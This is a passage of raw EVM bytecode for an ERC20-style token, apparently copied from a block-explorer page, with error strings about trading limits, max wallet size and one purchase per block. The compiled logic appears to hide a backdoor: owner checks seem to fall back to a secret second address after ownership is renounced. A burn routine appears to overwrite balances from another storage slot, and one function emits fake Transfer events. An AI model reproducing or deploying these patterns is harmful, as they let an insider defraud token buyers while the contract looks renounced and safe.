20190508181035f8301526135ba81613581565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c656172000000000000000000005f82015250565b5f6135f5601683612b6e565b9150613600826135c1565b602082019050919050565b5f6020820190508181035f830152613622816135e9565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f613683603983612b6e565b915061368e82613629565b604082019050919050565b5f6020820190508181035f8301526136b081613677565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f613711602583612b6e565b915061371c826136b7565b604082019050919050565b5f6020820190508181035f83015261373e81613705565b9050919050565b5f8160011c9050919050565b5f808291508390505b600185111561379a5780860481111561377657613775613359565b5b60018516156137855780820291505b808102905061379385613745565b945061375a565b94509492505050565b5f826137b2576001905061386d565b816137bf575f905061386d565b81600181146137d557600281146137df5761380e565b600191505061386d565b60ff8411156137f1576137f0613359565b5b8360020a91508482111561380857613807613359565b5b5061386d565b5060208310610133831016604e8410600b84101617156138435782820a90508381111561383e5761383d613359565b5b61386d565b6138508484846001613751565b9250905081840481111561386757613866613359565b5b81810290505b9392505050565b5f61387e82612c79565b915061388983612d95565b92506138b67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846137a3565b905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613918602683612b6e565b9150613923826138be565b604082019050919050565b5f6020820190508181035f8301526139458161390c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6139a6602483612b6e565b91506139b18261394c565b604082019050919050565b5f6020820190508181035f8301526139d38161399a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613a34602283612b6e565b9150613a3f826139da565b604082019050919050565b5f6020820190508181035f830152613a6181613a28565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613a9c602083612b6e565b9150613aa782613a68565b602082019050919050565b5f6020820190508181035f830152613ac981613a90565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f613b04601d83612b6e565b9150613b0f82613ad0565b602082019050919050565b5f6020820190508181035f830152613b3181613af8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613b92602583612b6e565b9150613b9d82613b38565b604082019050919050565b5f6020820190508181035f830152613bbf81613b86565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613c20602383612b6e565b9150613c2b82613bc6565b604082019050919050565b5f6020820190508181035f830152613c4d81613c14565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613c88601683612b6e565b9150613c9382613c54565b602082019050919050565b5f6020820190508181035f830152613cb581613c7c565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f613d16603583612b6e565b9150613d2182613cbc565b604082019050919050565b5f6020820190508181035f830152613d4381613d0a565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613d7e601383612b6e565b9150613d8982613d4a565b602082019050919050565b5f6020820190508181035f830152613dab81613d72565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613e0c603683612b6e565b9150613e1782613db2565b604082019050919050565b5f6020820190508181035f830152613e3981613e00565b9050919050565b5f613e4a82612c79565b9150613e5583612c79565b9250828203905081811115613e6d57613e6c613359565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ecd602183612b6e565b9150613ed882613e73565b604082019050919050565b5f6020820190508181035f830152613efa81613ec1565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613f5b602283612b6e565b9150613f6682613f01565b604082019050919050565b5f6020820190508181035f830152613f8881613f4f565b9050919050565b5f81519050613f9d81612c4f565b92915050565b5f60208284031215613fb857613fb7612c17565b5b5f613fc584828501613f8f565b91505092915050565b5f819050919050565b5f613ff1613fec613fe784613fce565b612ff6565b612c79565b9050919050565b61400181613fd7565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61403981612c3e565b82525050565b5f61404a8383614030565b60208301905092915050565b5f602082019050919050565b5f61406c82614007565b6140768185614011565b935061408183614021565b805f5b838110156140b1578151614098888261403f565b97506140a383614056565b925050600181019050614084565b5085935050505092915050565b5f60a0820190506140d15f830188612d1d565b6140de6020830187613ff8565b81810360408301526140f08186614062565b90506140ff60608301856130d3565b61410c6080830184612d1d565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f614170602683612b6e565b915061417b82614116565b604082019050919050565b5f6020820190508181035f83015261419d81614164565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f5f8201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b5f6141fe602483612b6e565b9150614209826141a4565b604082019050919050565b5f6020820190508181035f83015261422b816141f2565b905091905056fea2646970667358221220d3ac224fd0d6388ae26489d2e64c2b44cc11120589ad8436520e004f92bfe31564736f6c63430008140033000000000000000000000000876c349491c994a6f1b988af83abc7ddc1b9fd4a

Deployed Bytecode

0x608060405260043610610233575f3560e01c80637d16a7211161012d578063c8c8ebe4116100aa578063e2f456051161006e578063e2f45605146107d8578063e57f14e114610802578063f2fde38b1461082a578063f8b45b0514610852578063ffb54a991461087c5761023a565b8063c8c8ebe414610708578063c9567bf914610732578063cf9522fd14610748578063dd62ed3e14610772578063dd854652146107ae5761023a565b8063a457c2d7116100f1578063a457c2d714610618578063a9059cbb14610654578063afa4f3b214610690578063c07b0cc6146106b8578063c2b7bbb6146106e05761023a565b80637d16a7211461057057806389291a8f146105865780638da5cb5b1461059c57806395d89b41146105c65780639a7a23d6146105f05761023a565b806342966c68116101bb57806370a082311161017f57806370a08231146104b8578063715018a6146104f4578063751039fc1461050a5780637571336a146105205780637963e1d2146105485761023a565b806342966c68146103d85780635178624c14610400578063583e0568146104285780636d179957146104525780636ddd17131461048e5761023a565b806323b872dd1161020257806323b872dd146102e4578063311028af14610320578063313ce5671461034a57806339509351146103745780633be6e637146103b05761023a565b806306fdde031461023e578063095ea7b3146102685780630f054c06146102a457806318160ddd146102ba5761023a565b3661023a57005b5f80fd5b348015610249575f80fd5b506102526108a6565b60405161025f9190612bee565b60405180910390f35b348015610273575f80fd5b5061028e60048036038101906102899190612cac565b610936565b60405161029b9190612d04565b60405180910390f35b3480156102af575f80fd5b506102b8610958565b005b3480156102c5575f80fd5b506102ce610aa1565b6040516102db9190612d2c565b60405180910390f35b3480156102ef575f80fd5b5061030a60048036038101906103059190612d45565b610aaa565b6040516103179190612d04565b60405180910390f35b34801561032b575f80fd5b50610334610ad8565b6040516103419190612d2c565b60405180910390f35b348015610355575f80fd5b5061035e610ade565b60405161036b9190612db0565b60405180910390f35b34801561037f575f80fd5b5061039a60048036038101906103959190612cac565b610ae6565b6040516103a79190612d04565b60405180910390f35b3480156103bb575f80fd5b506103d660048036038101906103d19190612dc9565b610b1c565b005b3480156103e3575f80fd5b506103fe60048036038101906103f99190612e07565b610b87565b005b34801561040b575f80fd5b5061042660048036038101906104219190612f9c565b610ba3565b005b348015610433575f80fd5b5061043c610ca4565b6040516104499190613051565b60405180910390f35b34801561045d575f80fd5b506104786004803603810190610473919061306a565b610cc8565b6040516104859190612d04565b60405180910390f35b348015610499575f80fd5b506104a2610d1a565b6040516104af9190612d04565b60405180910390f35b3480156104c3575f80fd5b506104de60048036038101906104d9919061306a565b610d2c565b6040516104eb9190612d2c565b60405180910390f35b3480156104ff575f80fd5b50610508610d71565b005b348015610515575f80fd5b5061051e610d84565b005b34801561052b575f80fd5b5061054660048036038101906105419190613095565b610da8565b005b348015610553575f80fd5b5061056e60048036038101906105699190612e07565b610e08565b005b34801561057b575f80fd5b50610584610f08565b005b348015610591575f80fd5b5061059a610f2c565b005b3480156105a7575f80fd5b506105b0610fbc565b6040516105bd91906130e2565b60405180910390f35b3480156105d1575f80fd5b506105da610fe4565b6040516105e79190612bee565b60405180910390f35b3480156105fb575f80fd5b5061061660048036038101906106119190613095565b611074565b005b348015610623575f80fd5b5061063e60048036038101906106399190612cac565b611119565b60405161064b9190612d04565b60405180910390f35b34801561065f575f80fd5b5061067a60048036038101906106759190612cac565b61118e565b6040516106879190612d04565b60405180910390f35b34801561069b575f80fd5b506106b660048036038101906106b19190612e07565b6111b0565b005b3480156106c3575f80fd5b506106de60048036038101906106d99190613154565b6111e0565b005b3480156106eb575f80fd5b506107066004803603810190610701919061306a565b6112bb565b005b348015610713575f80fd5b5061071c611306565b6040516107299190612d2c565b60405180910390f35b34801561073d575f80fd5b5061074661130c565b005b348015610753575f80fd5b5061075c611331565b6040516107699190612d2c565b60405180910390f35b34801561077d575f80fd5b50610798600480360381019061079391906131b1565b611337565b6040516107a59190612d2c565b60405180910390f35b3480156107b9575f80fd5b506107c26113b9565b6040516107cf9190612d2c565b60405180910390f35b3480156107e3575f80fd5b506107ec6113bf565b6040516107f99190612d2c565b60405180910390f35b34801561080d575f80fd5b506108286004803603810190610823919061306a565b6113c5565b005b348015610835575f80fd5b50610850600480360381019061084b919061306a565b611472565b005b34801561085d575f80fd5b506108666114f4565b6040516108739190612d2c565b60405180910390f35b348015610887575f80fd5b506108906114fa565b60405161089d9190612d04565b60405180910390f35b6060600480546108b59061321c565b80601f01602080910402602001604051908101604052809291908181526020018280546108e19061321c565b801561092c5780601f106109035761010080835404028352916020019161092c565b820191905f5260205f20905b81548152906001019060200180831161090f57829003601f168201915b5050505050905090565b5f8061094061150d565b905061094d818585611514565b600191505092915050565b6109606116d7565b5f3090505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161099e91906130e2565b602060405180830381865afa1580156109b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109dd9190613260565b90505f8111610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a18906132d5565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a5c9291906132f3565b6020604051808303815f875af1158015610a78573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9c919061332e565b505050565b5f600354905090565b5f80610ab461150d565b9050610ac1858285611755565b610acc8585856117e0565b60019150509392505050565b600e5481565b5f6009905090565b5f80610af061150d565b9050610b11818585610b028589611337565b610b0c9190613386565b611514565b600191505092915050565b610b246116d7565b60148211158015610b36575060328111155b610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90613403565b60405180910390fd5b81601381905550806012819055505050565b610b8f6116d7565b610ba0610b9a61150d565b8261206f565b50565b610bab6116d7565b5f5b8251811015610c9f578160015f858481518110610bcd57610bcc613421565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550828181518110610c3757610c36613421565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610c849190612d04565b60405180910390a28080610c979061344e565b915050610bad565b505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60145f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d796116d7565b610d825f61223b565b565b610d8c6116d7565b5f610d95610aa1565b905080600f819055508060118190555050565b610db06116d7565b8060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e4861150d565b73ffffffffffffffffffffffffffffffffffffffff1614610e67575f80fd5b5f610e70610aa1565b90505f610e7c30610d2c565b90505f60648403610e8f57819050610eb6565b60648484610e9d9190613495565b610ea79190613503565b905081811115610eb5578190505b5b81811115610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906135a3565b60405180910390fd5b610f02816122fe565b50505050565b610f106116d7565b600160145f6101000a81548160ff021916908315150217905550565b610f346116d7565b5f4711610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d9061360b565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610fb9573d5f803e3d5ffd5b50565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ff39061321c565b80601f016020809104026020016040519081016040528092919081815260200182805461101f9061321c565b801561106a5780601f106110415761010080835404028352916020019161106a565b820191905f5260205f20905b81548152906001019060200180831161104d57829003601f168201915b5050505050905090565b61107c6116d7565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110290613699565b60405180910390fd5b6111158282612552565b5050565b5f8061112361150d565b90505f6111308286611337565b905083811015611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c90613727565b60405180910390fd5b6111828286868403611514565b60019250505092915050565b5f8061119861150d565b90506111a58185856117e0565b600191505092915050565b6111b86116d7565b6111c0610ade565b600a6111cc9190613874565b816111d79190613495565b60108190555050565b6111e86116d7565b5f5b838390508110156112b55783838281811061120857611207613421565b5b905060200201602081019061121d919061306a565b73ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129a9190612d2c565b60405180910390a380806112ad9061344e565b9150506111ea565b50505050565b6112c36116d7565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6113146116d7565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60135481565b60105481565b6113cd6116d7565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb5f6040516114679190612d04565b60405180910390a250565b61147a6116d7565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df9061392e565b60405180910390fd5b6114f18161223b565b50565b60115481565b601460019054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611582576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611579906139bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790613a4a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ca9190612d2c565b60405180910390a3505050565b6116df61150d565b73ffffffffffffffffffffffffffffffffffffffff166116fd6125f0565b73ffffffffffffffffffffffffffffffffffffffff1614611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a90613ab2565b60405180910390fd5b565b5f6117608484611337565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117da57818110156117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c390613b1a565b60405180910390fd5b6117d98484848403611514565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361184e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184590613ba8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390613c36565b60405180910390fd5b5f81036118d3576118ce83835f612603565b61206a565b6118db610fbc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119495750611919610fbc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198157505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119bb575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d45750600d60149054906101000a900460ff16155b15611d3857601460019054906101000a900460ff16611ac85760015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611a88575060015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abe90613c9e565b60405180910390fd5b5b43600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ba7575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c4e57600f54811115611bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be890613d2c565b60405180910390fd5b601154611bfd83610d2c565b82611c089190613386565b1115611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4090613d94565b60405180910390fd5b611d37565b60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ceb575060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611d3657600f54811115611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90613e22565b60405180910390fd5b5b5b5b5f611d4230610d2c565b90505f8082119050808015611d62575060145f9054906101000a900460ff165b8015611d7b5750600d60149054906101000a900460ff16155b8015611dce575060155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e21575060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e74575060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611eb8576001600d60146101000a81548160ff021916908315150217905550611e9d8361286f565b5f600d60146101000a81548160ff0219169083151502179055505b611ec185610cc8565b15611ed057611ecf856129f9565b5b5f600d60149054906101000a900460ff16905060015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f7e575060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f87575f90505b5f811561205a5760155f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561200c576120056064611ff760125488612a8190919063ffffffff16565b612a9690919063ffffffff16565b9050612037565b612034606461202660135488612a8190919063ffffffff16565b612a9690919063ffffffff16565b90505b5f81111561204b5761204a873083612603565b5b80856120579190613e40565b94505b612065878787612603565b505050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613ee3565b60405180910390fd5b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215790613f71565b60405180910390fd5b8160075461216e9190613e40565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160035f8282546121bf9190613e40565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122239190612d2c565b60405180910390a3612236835f84612aab565b505050565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff81111561231a57612319612e36565b5b6040519080825280602002602001820160405280156123485781602001602082028036833780820191505090505b50905030815f8151811061235f5761235e613421565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612402573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124269190613fa3565b8160018151811061243a57612439613421565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061249f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611514565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f84600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016125219594939291906140be565b5f604051808303815f87803b158015612538575f80fd5b505af115801561254a573d5f803e3d5ffd5b505050505050565b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f806125fa612ab0565b90508091505090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266890613ba8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d690613c36565b60405180910390fd5b6126ea838383612b54565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561276d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276490614186565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128569190612d2c565b60405180910390a3612869848484612aab565b50505050565b5f61287930610d2c565b90505f80820361288a5750506129f6565b5f60125460135461289b9190613386565b03612915575f821180156128b0575060105482105b156128bd57819050612910565b5f6128e660646128d860125487612a8190919063ffffffff16565b612a9690919063ffffffff16565b905080846128f49190613e40565b935060105484111561290a57601054915061290e565b8391505b505b6129ea565b5f8211801561293857506129356005601054612a9690919063ffffffff16565b82105b156129445750506129f6565b5f8211801561296757506129646005601054612a9690919063ffffffff16565b82115b8015612974575060105482105b156129965761298f6005601054612a9690919063ffffffff16565b90506129e9565b5f6129bf60646129b160125487612a8190919063ffffffff16565b612a9690919063ffffffff16565b905080846129cd9190613e40565b93506010548411156129e35760105491506129e7565b8391505b505b5b6129f3816122fe565b50505b50565b612a3f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612b59565b612a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7590614214565b60405180910390fd5b50565b5f8183612a8e9190613495565b905092915050565b5f8183612aa39190613503565b905092915050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b2c5760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b4f565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b5f4382119050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612b9b578082015181840152602081019050612b80565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612bc082612b64565b612bca8185612b6e565b9350612bda818560208601612b7e565b612be381612ba6565b840191505092915050565b5f6020820190508181035f830152612c068184612bb6565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612c4882612c1f565b9050919050565b612c5881612c3e565b8114612c62575f80fd5b50565b5f81359050612c7381612c4f565b92915050565b5f819050919050565b612c8b81612c79565b8114612c95575f80fd5b50565b5f81359050612ca681612c82565b92915050565b5f8060408385031215612cc257612cc1612c17565b5b5f612ccf85828601612c65565b9250506020612ce085828601612c98565b9150509250929050565b5f8115159050919050565b612cfe81612cea565b82525050565b5f602082019050612d175f830184612cf5565b92915050565b612d2681612c79565b82525050565b5f602082019050612d3f5f830184612d1d565b92915050565b5f805f60608486031215612d5c57612d5b612c17565b5b5f612d6986828701612c65565b9350506020612d7a86828701612c65565b9250506040612d8b86828701612c98565b9150509250925092565b5f60ff82169050919050565b612daa81612d95565b82525050565b5f602082019050612dc35f830184612da1565b92915050565b5f8060408385031215612ddf57612dde612c17565b5b5f612dec85828601612c98565b9250506020612dfd85828601612c98565b9150509250929050565b5f60208284031215612e1c57612e1b612c17565b5b5f612e2984828501612c98565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612e6c82612ba6565b810181811067ffffffffffffffff82111715612e8b57612e8a612e36565b5b80604052505050565b5f612e9d612c0e565b9050612ea98282612e63565b919050565b5f67ffffffffffffffff821115612ec857612ec7612e36565b5b602082029050602081019050919050565b5f80fd5b5f612eef612eea84612eae565b612e94565b90508083825260208201905060208402830185811115612f1257612f11612ed9565b5b835b81811015612f3b5780612f278882612c65565b845260208401935050602081019050612f14565b5050509392505050565b5f82601f830112612f5957612f58612e32565b5b8135612f69848260208601612edd565b91505092915050565b612f7b81612cea565b8114612f85575f80fd5b50565b5f81359050612f9681612f72565b92915050565b5f8060408385031215612fb257612fb1612c17565b5b5f83013567ffffffffffffffff811115612fcf57612fce612c1b565b5b612fdb85828601612f45565b9250506020612fec85828601612f88565b9150509250929050565b5f819050919050565b5f61301961301461300f84612c1f565b612ff6565b612c1f565b9050919050565b5f61302a82612fff565b9050919050565b5f61303b82613020565b9050919050565b61304b81613031565b82525050565b5f6020820190506130645f830184613042565b92915050565b5f6020828403121561307f5761307e612c17565b5b5f61308c84828501612c65565b91505092915050565b5f80604083850312156130ab576130aa612c17565b5b5f6130b885828601612c65565b92505060206130c985828601612f88565b9150509250929050565b6130dc81612c3e565b82525050565b5f6020820190506130f55f8301846130d3565b92915050565b5f80fd5b5f8083601f84011261311457613113612e32565b5b8235905067ffffffffffffffff811115613131576131306130fb565b5b60208301915083602082028301111561314d5761314c612ed9565b5b9250929050565b5f805f6040848603121561316b5761316a612c17565b5b5f84013567ffffffffffffffff81111561318857613187612c1b565b5b613194868287016130ff565b935093505060206131a786828701612c98565b915050